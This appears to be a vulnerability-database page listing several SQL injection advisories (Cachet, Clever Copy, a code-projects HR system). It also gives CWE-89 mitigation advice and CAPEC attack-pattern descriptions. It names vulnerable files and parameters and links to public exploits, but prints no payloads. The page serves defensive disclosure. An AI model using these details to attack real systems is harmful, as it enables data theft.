"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Centreon SQL Injection"
}
GHSA-79HM-3XG2-W4CF
Vulnerability from github – Published: 2026-04-29 04:12 – Updated: 2026-04-29 04:12A vulnerability was identified in code-projects Human Resource Integrated System 1.0. This issue affects some unknown processing of the file /login.php. Such manipulation of the argument user/pass leads to sql injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.
{
"affected": [],
"aliases": [
"CVE-2025-9742"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-31T19:15:31Z",
"severity": "MODERATE"
},
"details": "A vulnerability was identified in code-projects Human Resource Integrated System 1.0. This issue affects some unknown processing of the file /login.php. Such manipulation of the argument user/pass leads to sql injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.",
"id": "GHSA-79hm-3xg2-w4cf",
"modified": "2026-04-29T04:12:16Z",
"published": "2026-04-29T04:12:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9742"
},
{
"type": "WEB",
"url": "https://code-projects.org"
},
{
"type": "WEB",
"url": "https://github.com/cooorgi/cve/blob/main/hris_sql_login.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.322041"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.322041"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.640112"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-79JQ-W66G-9GCH
Vulnerability from github – Published: 2022-05-01 23:29 – Updated: 2022-05-01 23:29Multiple SQL injection vulnerabilities in Clever Copy 3.0 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) ID parameter to postcomment.php and the (2) album parameter to gallery.php.
{
"affected": [],
"aliases": [
"CVE-2008-0363"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-01-18T22:00:00Z",
"severity": "HIGH"
},
"details": "Multiple SQL injection vulnerabilities in Clever Copy 3.0 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) ID parameter to postcomment.php and the (2) album parameter to gallery.php.",
"id": "GHSA-79jq-w66g-9gch",
"modified": "2022-05-01T23:29:18Z",
"published": "2022-05-01T23:29:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0363"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39746"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/28560"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3553"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/486492/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/27335"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-79MG-4W23-4FQC
Vulnerability from github – Published: 2021-08-30 16:12 – Updated: 2021-08-27 12:54Impact
In Cachet versions through 2.3.18, there is a SQL injection which is in the SearchableTrait#scopeSearch(). Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session.
Patches
The original repository of https://github.com/CachetHQ/Cachet is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.
Update to version 2.5 or later in the https://github.com/fiveai/Cachet fork to fix this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "cachethq/cachet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.18"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-39165"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2021-08-26T20:21:00Z",
"nvd_published_at": "2021-08-26T21:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\nIn Cachet versions through 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator\u0027s password and session.\n\n### Patches\n\nThe original repository of [https://github.com/CachetHQ/Cachet](https://github.com/CachetHQ/Cachet) is not active, the stable version 2.3.18 and it\u0027s developing 2.4 branch is affected. \n\nUpdate to version 2.5 or later in the [https://github.com/fiveai/Cachet fork](https://github.com/fiveai/Cachet) to fix this vulnerability.",
"id": "GHSA-79mg-4w23-4fqc",
"modified": "2021-08-27T12:54:52Z",
"published": "2021-08-30T16:12:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fiveai/Cachet/security/advisories/GHSA-79mg-4w23-4fqc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39165"
},
{
"type": "WEB",
"url": "https://github.com/fiveai/Cachet/commit/27bca8280419966ba80c6fa283d985ddffa84bb6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated SQL Injection in Cachet"
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Strategy: Environment Hardening
- Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-28
Strategy: Output Encoding
- While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
- When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-109: Object Relational Mapping Injection
An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.
CAPEC-110: SQL Injection through SOAP Parameter Tampering
An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.
CAPEC-470: Expanding Control over the Operating System from the Database
An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-7: Blind SQL Injection
Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.